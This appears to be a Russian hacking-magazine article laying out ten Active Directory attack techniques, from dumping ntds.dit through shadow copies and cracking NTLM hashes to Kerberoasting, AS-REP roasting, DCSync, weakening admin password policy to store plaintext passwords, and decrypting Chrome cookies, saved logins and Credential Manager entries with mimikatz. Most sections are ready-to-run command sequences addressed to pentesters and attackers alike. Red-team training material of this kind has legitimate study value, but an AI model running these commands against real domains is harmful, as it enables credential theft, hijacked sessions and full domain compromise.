10 шагов для успешной атаки на Windows Active Directory

Работа с ntds.dit

Файл ntds.dit представляет собой базу данных, в которой хранится информация Active Directory, такая как сведения о пользователях, группах и членстве в группах. База также включает хеши паролей для всех пользователей в домене.

Первым делом следует получить копию файла ntds.dit. Он расположен на контроллере домена в директории C:\Windows\NTDS\. Но просто скопировать его не получится, так как этот файл постоянно используется EFS в Active Directory, и оператор (пентестер, редтимер, злоумышленник или исследователь) рискует получить следующее сообщение об ошибке.

Я расскажу о двух способах скопировать данный файл. Первый способ использует скрипт PowerShell, а второй — копирование с помощью встроенных средств Windows.

Скрипт Invoke-NinjaCopy позволяет копировать любые используемые службами Windows файлы, в том числе и ntds.dit. При этом скрипт не запускает посторонних служб и не внедряется в процессы или контекст System. Этот инструмент получает дескриптор диска, что дает ему право на чтение необработанного массива байтов всего тома. Затем скрипт анализирует структуру NTFS и ищет определенную сигнатуру. Таким образом определяет, где находится файл, и побайтово его копирует. Так можно читать даже файлы, которые блокирует LSASS.

Плюс ко всему данный скрипт написан на PowerShell, поэтому запускается из памяти, что позволяет избежать его сохранения на диск.

Второй способ — теневое копирование. Для этого используется установленный в Windows инструмент vssadmin. Сначала следует создать теневую копию с помощью следующей команды:

> vssadmin create shadow /for=C:

А теперь можно копировать оттуда никем не используемый файл ntds.dit.

> copy \\?\GLOBALROOT\Device\[имя тома теневой копии]\windows\ntds\ntds.dit C:\ntds.dit

Таким образом, файл ntds.dit можно скопировать двумя разными способами. Но он зашифрован, и, чтобы его прочитать, необходим файл SYSTEM, получить который можно также несколькими способами. К примеру, из той же теневой копии или из реестра.

> copy \\?\GLOBALROOT\Device\[имя тома теневой копии]\windows\system32\config\system C:\system

> reg save hklm\system C:\sys

Теперь у оператора есть необходимые файлы, и он может перенести их к себе на машину для дальнейших работ, точнее для извлечения информации и взлома хешей паролей. Но сначала следует удалить теневую копию.

> vssadmin delete shadows /shadow=[ID теневой копии]

Извлечь хеши можно с помощью скрипта secretsdump, входящего в пакет impacket.

## secretsdump.py -system ./system -ntds ./ntds.dit LOCAL

Для взлома NTLM-хешей можно использовать hashcat. Сохраним их в файл и отправим на перебор.

hashcat -a 0 -m 1000 ntlm.hashes dict.txt

Так мы получим некоторые пароли в открытом виде.

Получение данных аутентификации без взаимодействия с LSASS

Конечно, для получения хешей пользовательских паролей можно использовать mimikatz, но сделать это без привлечения процесса LSASS нельзя, так как mimikatz достает данные непосредственно из памяти этого процесса.

В системе Windows NetNTLM — это протокол запроса-ответа, используемый там, где Kerberos не поддерживается. При обычной атаке оператор может активировать NetNTLMv2 в качестве клиентской аутентификации, а затем попробовать пройти проверку подлинности на своем подставном сервере, чтобы перехватить и проанализировать запрос от клиента.

Но использовать сеть — не всегда хорошая идея. Избежать этого нам поможет SSPI — программный интерфейс в Microsoft Windows между приложениями и провайдерами безопасности. Оператор может локально вызвать процедуру метода аутентификации NTLM из приложения пользовательского режима через SSPI. Это позволит вычислить ответ NetNTLM в контексте вошедшего в систему пользователя.

Сделать это можно с помощью инструмента InternalMonologue. Он обладает широким спектром возможностей, как и множеством вариантов запуска.

Пример атаки Downgrade с помощью этого инструмента и Cobalt Strike показан на картинке ниже. Таким способом вполне реально получить NetNTLMv2-хеш пользователя, под которым выполнена атака.

Для взлома NetNTLMv2-хеша также можно использовать hashcat.

hashcat -a 0 -m 5600 NetNTLMv2.hashes dictionary.txt

Эта атака выполняется более скрытно по сравнению с использованием mimikatz, поскольку в данном случае нет необходимости загружать код в защищенный процесс или выгружать память из него. Так как NetNTLMv2-хеш становится доступен в результате взаимодействия с локальным SSPI, сетевой трафик не регистрируется. А значит, в атакуемой системе остается меньше следов.

LLMNR/NBT-NS Poisoning

В инфраструктуре Active Directory работа с именами хостов организована с использованием трех протоколов: DNS, LLMNR и NetBIOS. Все три обеспечивают взаимодействие с удаленной машиной по ее имени, так же как и по адресу. Если клиент Windows не может найти в сети имя определенного хоста с использованием DNS, он выполнит запрос с помощью протокола Link-Local Multicast Name Resolution (LLMNR). Если и здесь он потерпит неудачу, то будет выполнен запрос NetBIOS.

Различие между этими протоколами заключается в следующем. В случае с DNS запрос адреса по имени будет направлен на сервер, в то время как протоколы LLMNR и NetBIOS выполнят широковещательную рассылку в локальной сети, и хост, чье имя запрашивается, должен ответить. При этом, в отличие от NetBIOS, LLMNR способен работать с IPv6-адресами.

Оператор может прослушивать широковещательные рассылки LLMNR (UDP/5355) или NBT-NS (UDP/137) и отвечать на них, как будто ему известно местоположение запрошенного узла.

Таким образом, полная цепь атаки выглядит так:

1. Пользователь вместо \\printserver по ошибке обращается к \\pintserver.
2. DNS-сервер сообщает, что не имеет такой записи.
3. Клиент автоматически совершает широковещательный запрос.
4. Оператор отвечает на него, представляясь несуществующим сервером.
5. Клиент передает аутентификационную информацию оператору.

На практике оператору нужен всего лишь один инструмент — Responder, которому следует указать только сетевой интерфейс.

Успешно выполненная атака будет выглядеть так, как показано на следующей иллюстрации.

Так оператор может узнать NetNTLMv2-хеши паролей пользователей. Как их взламывать, уже разобрано ранее.

Kerberoasting

Реализация протокола Kerberos в Windows использует имена участников службы (SPN) для определения того, какую учетную запись задействовать для шифрования билета службы. В Active Directory существует два варианта SPN: SPN на основе хоста и произвольные SPN. Первый вариант SPN связан с учетной записью компьютера домена, а второй обычно (но не всегда) — с учеткой пользователя домена.

В документации Microsoft написано буквально следующее: «Когда в Active Directory создается новая учетная запись компьютера, для встроенных служб автоматически создаются имена участников-служб. В действительности имена участников-служб создаются только для службы HOST, а все встроенные службы используют имя участника-службы HOST». Но так как пароль учетной записи компьютера по умолчанию рандомный и меняется каждые 30 дней, оператор в контексте данной атаки, как правило, не обращает внимания на имена SPN на основе хоста.

Произвольные имена участников-служб также могут быть зарегистрированы для учетных записей пользователей домена. Наример, учетная запись службы, которая управляет несколькими экземплярами MSSQL. Таким образом, учетная запись пользователя по умолчанию будет иметь SPN <MSSQLSvc/HOST:PORT> для каждого экземпляра MSSQL, для которого она зарегистрирована. Эта учетная запись хранится в атрибуте ServicePrincipalName профиля пользователя.

Как следует из специфики работы Kerberos, любой пользователь может запросить TGS для любой службы, имеющей зарегистрированное SPN для учетной записи пользователя или компьютера в Active Directory. Таким образом, зная учетные данные любого пользователя домена и SPN учетных записей из домена, оператор может запросить TGS от имени пользователя для данных экземпляров SPN. А взломав TGS, узнать пароли от этих учетных записей.

Выполнить атаку можно как удаленно, так и при наличии непосредственного доступа к системе. Но для начала нужно получить все SPN из системы. Если есть доступ, следует использовать встроенное решение setspn.

setspn -T [домен] -Q */*

Указанным способом мы получаем SPN пользователя SQL admin, а это означает, что он уязвим к такой атаке. Локально получить билет можно с помощью Rubeus.

Для удаленного получения SPN и билета необходимы учетные данные любого пользователя домена.

GetUserSPNs.py -request -dc-ip [адрес] [домен]/[пользователь]

Для взлома используется hashcat.

hashcat -a 0 -m 13100 krb5.hashes dict.txt

Kerberoasting можно также выполнить, перехватив сетевой трафик и захватив билеты Kerberos TGS в случае MITM.

AS-REP Roasting

При обычных операциях в среде Windows Kerberos, когда пользователь инициирует запрос TGT (операция Kerberos AS-REQ), он должен указать временную метку, зашифрованную своим паролем (ключом). Метка представляет собой структуру PA-ENC-TIMESTAMP и встроена в PA-DATA (данные предварительной авторизации) AS-REQ. KDC расшифровывает эту метку, чтобы проверить, действительно ли совершающий операцию субъект — тот, за кого себя выдает, а затем возвращает AS-REP и продолжает обычные процедуры аутентификации.

Подобная проверка называется предварительной аутентификацией Kerberos и необходима для предотвращения автономного угадывания пароля. Но проверку можно отключить выставлением флага DONT_REQ_PREAUTH в UAC учетной записи пользователя. Чтобы отключить проверку для конкретного пользователя, оператору необходимо наличие привилегии GenericWrite или GenericAll.

Set-DomainObject -Identity [пользователь] -XOR @{useraccountcontrol=4194304} 

Дело в том, что при отключенной предварительной аутентификации Kerberos KDC все равно вернет AS-REP, который, в свою очередь, зашифрован с помощью ключа службы krbtgt. Но зашифрованная часть AS-REP подписывается клиентским ключом, то есть ключом пользователя, для которого отправляется AS-REQ.

Выполнить атаку можно локально с помощью того же Rubeus.

Для удаленной атаки нам нужно узнать пользователей, у которых отключена предварительная аутентификация Kerberos, для чего необходимо иметь учетные данные любого пользователя в домене.

GetNPUsers.py [домен]/[пользователь]:[пароль]

Теперь выполним запрос для найденного пользователя.

GetNPUsers.py [домен]/[пользователь] -k -no-рass -dc-iр [IР]

Различие между Kerberoasting и AS-REР Roasting состоит в том, что для данной атаки нужно только имя пользователя, то есть можно составить список и проверить сразу несколько имен. Плюс ко всему можно также узнать, какие пользователи зарегистрированы в системе, а какие нет.

Взломать полученный хеш можно с помощью John the Riррer.

Другое различие между Kerberoasting и AS-REР Roasting заключается в том, что AS-REP запрашивает билет проверки подлинности Kerberos (TGT), а не билет проверки подлинности службы (TGS).

DCSync

Для атаки DCSync необходимы специальные права. Любой член групп «Администраторы» и «Администраторы домена», а также учетных записей компьютеров контроллера домена может выполнить репликацию данных, используя протокол репликации каталогов DRS. Таким образом клиентский DC отправляет запрос DSGetNCChanges на сервер, когда хочет получать от него обновления объектов AD. Ответ содержит набор обновлений, которые клиент должен применить к своей реплике NC.

Можно выполнить DCSync с использованием обычной учетной записи пользователя. Но для этого одно из следующих правил должно быть делегировано на уровне домена, чтобы учетная запись пользователя могла беспрепятственно получать данные с помощью DCSync:

1. DS-Replication-Get-Changes — это разрешение необходимо для репликации только тех изменений, которые также реплицированы в глобальный каталог.
2. DS-Replication-Get-Changes-All — разрешение позволяет репликацию всех данных.

Члены групп «Администраторы» и «Контроллер домена» по умолчанию имеют эти права. После того как учетной записи делегирована возможность репликации объектов, учетная запись может использовать mimikatz DCSync:

mimikatz# lsadump::dcsync /domain:[домен] /user:[пользователь]

Также при реализации данной атаки можно получить историю паролей учетной записи, точнее NTLM-хеши. Взлом этих хешей позволит понять логику выставления паролей, что, возможно, поможет угадать следующий пароль в случае замены.

Выполнить DCSync можно также с помощью imрacket удаленно, для чего нужны учетные данные.

secretsdump.py tdomain.dom/root:Secret08@192.168.226.137

Получение открытого пароля с помощью DCSync

Но что делать, если хеш пароля не взламывается?

Выход есть! Для учетных записей Active Directory существует устаревшая функция, которая называется «обратимое шифрование». Если включено обратимое шифрование, то зашифрованные данные могут быть возвращены обратно к паролю пользователя.

Если для учетной записи включено обратимое шифрование и пользователь меняет пароль после установки этой конфигурации, пароль в виде открытого текста сохраняется в базе данных Active Directory.

Оператор может создать новую группу ShareRoint и добавить все учетные записи домена с атрибутом AdminCount, установленным в 1.

PS > New-ADGroup -Name ShareRoint -SamAccountName ShareRoint -GroupCategory Security -GroupScope Global -DisplayName ShareRoint -Path "CN=Users,DC=tdomain,DC=dom"
PS > $Admins = Get-ADUser -filter { AdminCount -eq 1 }
PS > Add-ADGroupMember ShareRoint -Members $Admins

Теперь нужно создать новую парольную политику.

PS C:\Windows\system32> New-ADFineGrainedPasswordPolicy -Name ShareRoint -DisplayName ShareRoint -Precedence 1 -ComplexityEnabled $false -ReversibleEncryptionEnabled $true -PasswordHistoryCount 0 -MinPasswordLength 0 -MinPasswordAge 0.00:00:00 -MaxPasswordAge 0.00:00:00 -LockoutThreshold 0 -LockoutObservationWindow 0.00:00:00 -LockoutDuration 0.00:00:00

Проверим, что атрибут ReversibleEncryptionEnabled установлен в True.

PS C:\Windows\system32> Get-ADFineGrainedPasswordPolicy ShareRoint

Теперь стоит применить парольную политику к новой группе.

Add-ADFineGrainedPasswordPolicySubject -Identity ShareRoint -Subjects ShareRoint

Проверить, применилась ли парольная политика, очень легко.

Новая парольная политика обнуляет все стандартные параметры безопасности паролей домена. После смены пароля, которую инициирует оператор, все пароли администраторов будут храниться в открытом виде.

Хранилище паролей Windows

Data Protection API (DPAPI) — криптографический интерфейс программирования приложений в ОС семейства Windows, обеспечивающий конфиденциальность данных путем их шифрования.

Почти для всех криптосистем одна из самых сложных задач — управление ключами, вернее вопрос безопасного хранения ключей. Если ключ хранится в виде обычного текста, то любой пользователь, имеющий доступ к ключу, может получить доступ и к зашифрованным данным. DPAPI позволяет разработчикам шифровать приватные данные или ключи, используя симметричный ключ, полученный на основе пароля пользователя.

DPAPI предоставляет набор API для простого шифрования (CryptProtectData()) и дешифрования (CryptUnprotectData()) данных с использованием неявных ключей, привязанных к конкретному пользователю или системе. Это позволяет приложениям защищать пользовательские данные, не беспокоясь о таких вещах, как управление ключами.

Пароль юзера используется для получения мастер-ключа. Эти ключи расположены в папке C:\Users\<USER>\AppData\Roaming\Microsoft\Protect\<SID>\<GUID>, где <SID> — это идентификатор безопасности пользователя, а <GUID> — имя мастер-ключа. Пользователь может иметь несколько мастер-ключей. Этот мастер-ключ необходимо расшифровать с помощью пароля пользователя или ключа резервного копирования домена, а затем применить для расшифровки любых данных DPAPI. Поэтому, если мы попытаемся расшифровать зашифрованный пользователем объект данных DPAPI (например, cookie Chrome), нам нужно получить конкретный мастер-ключ пользователя.

ПО, использующее DPAPI

Chrome использует DPAPI для хранения двух основных типов данных, которые интересуют оператора: содержимого файлов cookie и сохраненных паролей. Файлы cookie расположены по пути %localappdata%\Google\Chrome\User Data\Default\Cookies, а данные авторизации — %localappdata%\Google\Chrome\User Data\Default\Login Data. В большинстве систем %localappdata% сопоставляется с C:\Users\<USER>\AppData\Local. Но сами шифрованные данные хранятся в базе данных SQLite, с которыми способен работать mimikatz. Так как у меня установлен Chrome Dev, то в примере вместо директории Chrome используется директория Chrome Dev.

Просмотреть список файлов cookie и учетных данных с помощью mimikatz можно следующим образом:

mimikatz # dpapi::chrome /in:”%localappdata%\Google\Chrome Dev\User Data\Default\Cookies”

mimikatz # dpapi::chrome /in:”%localappdata%\Google\Chrome Dev\User Data\Default\Login Data”

Однако значения файлов cookie зашифрованы DPAPI с помощью мастер-ключа пользователя, который, в свою очередь, защищен паролем пользователя (или ключом резервного копирования домена). Есть несколько сценариев, в которых может оказаться оператор, пытаясь получить данные файлов cookie (или данные для входа).

1. В контексте целевого пользователя

Самый простой случай, когда твоя сессия находится в контексте целевого пользователя. При таком раскладе следует добавить в команду флаг /unprotect.

mimikatz # dpapi::chrome /in:”%localappdata%\Google\Chrome Dev\User Data\Default\Cookies” /unprotect

mimikatz # dpapi::chrome /in:”%localappdata%\Google\Chrome Dev\User Data\Default\Login Data” /unprotect

Поскольку код выполняется в контексте пользователя, то его ключи будут неявно использоваться для расшифровки. Единственная проблема, с которой может столкнуться оператор, — это невозможность открыть базу данных Cookies, когда она используется Chrome. Тогда необходимо просто скопировать файлы в другое место и повторно использовать mimikatz.

2. В контексте администратора с активной сессией целевого пользователя

К примеру, оператор получил административный доступ к системе, в которой имеются пользователи, в текущий момент времени вошедшие в систему. В этом случае прошлый сценарий не сработает.

Так происходит потому, что ключ юзера в текущем контексте неявно не используется. И как видно из сообщения mimikatz, для работы необходим мастер-ключ пользователя (также сообщается GUID). Так как пользователь залогинен в системе, его сессия открыта и DPAPI хранит его ключевую информацию. Имея административный доступ, оператор может извлечь все данные DPAPI, где и следует искать мастер-ключ.

mimikatz # privilege::debug
mimikatz # sekurlsa::dpapi

Теперь, когда оператор владеет мастер-ключом, он может использовать его для расшифровки данных пользователя.

mimikatz # dpapi::chrome /in:”С:\Users\<USER>\AppData\Local\Google\Chrome Dev\User Data\Default\Login Data” /unprotect /masterkay:[мастер-ключ]

3. В контексте администратора без сессии целевого пользователя

Если целевой пользователь на текущий момент не вошел в систему, то для получения его мастер-ключа необходимо знать его SID, GUID и пароль или NTLM-хеш пароля. Если пароль или хеш известен (а как получить хотя бы хеш, рассказывалось ранее), то нужно узнать только SID, GUID мы получим из сообщения mimikatz (как в предыдущем пункте).

И теперь оператор может получить мастер-ключ.

mimikatz # dpapi::chrome /in:”С:\Users\<USER>\AppData\Roaming\Microsoft\Protect\<SID>\<GUID>” /sid:[SID] /password:[пароль]

Что делать дальше, уже подробно рассказывалось выше.

4. Административный доступ к контроллеру домена

Теперь рассмотрим случай, когда оператор не имеет хешей или паролей пользователей, при этом сами пользователи в настоящий момент не залогинены в системе. Как уже говорилось, получить мастер-ключ можно с помощью ключа резервного копирования домена. Ключ резервного копирования никогда не меняется, и его можно использовать для расшифровки абсолютно любых ключей пользователей домена.

mimikatz # privilege::debug
mimikatz # lsadump::backupkeys /system:[контроллер домена] /export

Далее оператору нужен GUID целевого пользователя.

Осталось получить мастер-ключ для этого пользователя.

dpapi::masterkey /in:[GUID] /pvk:[PVK-ключ]

Таким образом, мы рассмотрели все способы извлечения сохраненных паролей.

Диспетчер учетных данных

Диспетчер учетных данных, или Credential Manager, — это механизм, который позволяет управлять регистрационными данными пользователей (логин и пароль) для доступа к сетевым ресурсам, а также сертификатами и учетными данными для различных приложений (электронной почты, веб-сервисов и прочих). Рассмотрим работу с диспетчером учетных данных на примере RDP.

Найти те же данные с помощью командной строки можно следующим образом (для английской локали следует использовать строку /listcreds:"Windows Credentials".):

> vaultcmd /listcreds:"Учетные данные Windows" /all

Эти учетные данные хранятся в каталоге пользователя C:\Users\<USER>\AppData\Local\Microsoft\Credentials\.

Посмотрим на эти данные.

dpapi::cred /in:C:\Users\<USER>\AppData\Local\Microsoft\Credentials\[хранилище]

Самое интересное здесь — это pbData (данные, которые нужно расшифровать) и guidMasterKey. Как получить мастер-ключ, мы рассмотрели раньше (эту стадию мы пропустим). Давай расшифруем учетные данные.

dpapi::cred /in:C:\Users\<USER>\AppData\Local\Microsoft\Credentials\[хранилище] /masterkeys:[мастер-ключ]

Подобным образом можно извлечь любые данные, сохраненные в WCM.

Вместо заключения

Для тех, кто хочет получить больше информации по этой теме, я создал телеграм-канал @RalfHackerChannel, где можно задать свои вопросы (или ответить на вопросы других юзеров). До встречи в следующих статьях!